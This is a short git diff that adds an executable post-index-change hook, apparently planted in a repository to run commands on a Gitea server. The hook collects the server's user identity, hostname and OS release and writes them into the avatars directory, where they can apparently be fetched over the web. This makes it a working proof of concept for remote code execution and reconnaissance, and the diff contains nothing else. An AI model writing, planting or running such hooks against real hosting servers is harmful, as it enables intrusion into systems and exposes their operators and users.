diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..ddf87c4
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,2 @@
+#!/bin/sh
+(id && hostname && cat /etc/os-release | head -2) > /data/gitea/repo-avatars/fd1fc9107de2.dat 2>&1